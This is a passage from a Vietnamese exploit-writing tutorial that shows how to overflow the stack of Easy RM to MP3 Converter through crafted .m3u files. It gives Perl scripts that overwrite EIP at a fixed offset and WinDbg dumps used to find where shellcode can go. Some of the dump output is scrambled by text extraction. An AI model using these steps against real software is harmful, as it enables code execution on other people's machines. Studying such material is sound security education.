Ta thấy kết quả câu lệnh ra 1094, đó là độ dài buffer cần để ghi đè EIP.
Cho nên, nếu bạn tạo một file với 25000+1094 A, theo sau là 4 B (42424242)
EIP sẽ chứa 42424242. Chúng ta biết rằng EIP chỉ đến một điểm dữ liệu trong
buffer, nên chúng ta sẽ thêm một số C sau khi ghi đè EIP.
Chúng ta sẽ thay đổi file m3u để tạo file m3u mới:
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

Tạo file eipcrash.m3u, mở nó bằng Easy RM to MP3, quan sát crash và
chú ý tới nội dung ESP:

0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43
000ff740 43 43 43 43 43 43 43 43-43 43
000ff750 43 43 43 43 43 43 43 43-43 43
000ff760 43 43 43 43 43 43 43 43-43 43
000ff770 43 43 43 43 43 43 43 43-43 43
000ff780 43 43 43 43 43 43 43 43-43 43
000ff790 43 43 43 43 43 43 43 43-43 43
000ff7a0 43 43 43 43 43 43 43 43-43 43

43
43
43
43
43
43
43
43

43
43
43
43
43
43
43
43

43
43
43
43
43
43
43
43

43
43
43
43
43
43
43
43

43
43
43
43
43
43
43
43

43
43
43
43
43
43
43
43

CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCC

Tuyệt vời, bây giờ EIP đã chứa BBBB, đó chính xác là điều mà chúng ta
cần. Bây giờ chúng ta sẽ điều khiển EIP. Trên đỉnh của nó, ESP trỏ đến buffer
của chúng ta (C)
Note: offset ở đây là kết quả thu được trên hệ thống của tôi, nếu bạn cố
gắng làm lại tutorial này, bạn sẽ nhận được một giá trị offset khác. Vì vậy, xin
vui lòng không lấy giá trị offset hoặc sao chép source code về hệ thống của bạn.
Expliot buffer của chúng ta sẽ trông như thế này:

Author : Hà Bách Nam and Nguyễn Kim Thụy

23


5T4 – Private Only

7. Tìm

khoảng bộ nhớ trống để lưu trữ shellcode
Chúng ta đã điều khiển được EIP, giờ chúng ta sẽ chi tới một chỗ nào đó, nơi
chứa code của chúng ta ( shellcode). Nhưng trong khoảng trống này, làm thế
nào chúng ta có thể đặt shellcode ở tại vị trí đó là làm cho EIP nhảy đến đó?
Để làm crash ứng dụng, chúng ta đã ghi 26094 A vào bộ nhớ, chúng ta đã
chi một giá trị mới vào EIP, đã ghi một loại C.
Khi ứng dụng bị crash, chú ý đến các thanh ghi và dump chúng ( d esp, d
eax, d ebx...) bạn sẽ thấy buffer của chúng ta ( chỉ gồm có A và C), giờ bạn có
thể thay thế chúng bằng shell code và nhảy tới vị trí đó. Trong ví dụ của chúng
ta, có thể thấy ESP trỏ đến C ( sử dụng d esp để xem), do đó ý tưởng là đặt
shellcode vào phần C và yêu cầu EIP trỏ đến đó.
Mặc dù thực tế là cho dù ta thấy C nhưng không biết đó có phải là C ( tại địa
chỉ 000ff730) đầu tiên không. Trong thực tế, C đầu tiên đã được đặt vào trong
buffer
Chúng ta lại thay đổi perl script và thay đổi phần mẫu. Ở đây tôi sử dụng 144
ký tự ( bạn có thể dùng nhiều hoặc ít hơn) thay thế C.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Tạo file và mở, quan sát ESP:
0:000> d esp
000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47
000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b
000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43

DEFGHIJK2ABCDEFG
HIJK3ABCDEFGHIJK
4ABCDEFGHIJK5ABC

Author : Hà Bách Nam and Nguyễn Kim Thụy

24


5T4 – Private Only
000ff760
000ff770
000ff780
000ff790
000ff7a0
0:000> d
000ff7b0
000ff7c0
000ff7d0
000ff7e0
000ff7f0
000ff800
000ff810
000ff820

44
48
38
44
48

45
49
41
45
49

46
4a
42
46
4a

47
4b
43
47
4b

48
37
44
48
42

49
41
45
49
41

4a
42
46
4a
42

4b-36
43-44
47-48
4b-41
43-44

41
45
49
41
45

42
46
4a
42
46

43
47
4b
43
47

44
48
39
44
48

45
49
41
45
49

46
4a
42
46
4a

47
4b
43
47
4b

DEFGHIJK6ABCDEFG
HIJK7ABCDEFGHIJK
8ABCDEFGHIJK9ABC
DEFGHIJKAABCDEFG
HIJKBABCDEFGHIJK

43
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

42
41
41
41
41
41
41
41

43
41
41
41
41
41
41
41

44
41
41
41
41
41
41
41

45
41
41
41
41
41
41
41

46
41
41
41
41
41
41
41

47-48
41-41
41-41
41-41
41-41
41-41
41-41
41-41

49
41
41
41
41
41
41
41

4a
41
41
41
41
41
41
41

4b
41
41
41
41
41
41
41

00
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

CABCDEFGHIJK.AAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Bạn sẽ thấy có 2 điều thú vị sau:
ESP bắt đầu từ ký tự thứ 5 trong mẫu của chúng ta, chứ không phải ký tự
đầu tiên
● Kết thúc chuỗi mẫu bạn thấy A, những A này thuộc về phần đầu của mẫu
(26101 A) , do đó bạn có thể đặt shellcode vào phần đầu của mẫu.
Nhưng chúng ta không đi theo cách đó. Đầu tiên chúng ta sẽ thêm 4 ký tự ở
trước mẫu và kiểm tra lại một lần nữa. Nếu mọi việc suôn sẻ, ESP sẽ trỏ vào ký
tự đầu tiên:


my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Ứng dụng lại crash và quan sát ESP lần nữa:
0:000> d esp
000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43
000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47
000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b
000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43
000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47
000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b
000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43
000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47
0:000> d
000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b
000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41

1ABCDEFGHIJK2ABC
DEFGHIJK3ABCDEFG
HIJK4ABCDEFGHIJK
5ABCDEFGHIJK6ABC
DEFGHIJK7ABCDEFG
HIJK8ABCDEFGHIJK
9ABCDEFGHIJKAABC
DEFGHIJKBABCDEFG
HIJKCABCDEFGHIJK
.AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Rất tốt!
Author : Hà Bách Nam and Nguyễn Kim Thụy

25


Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay

×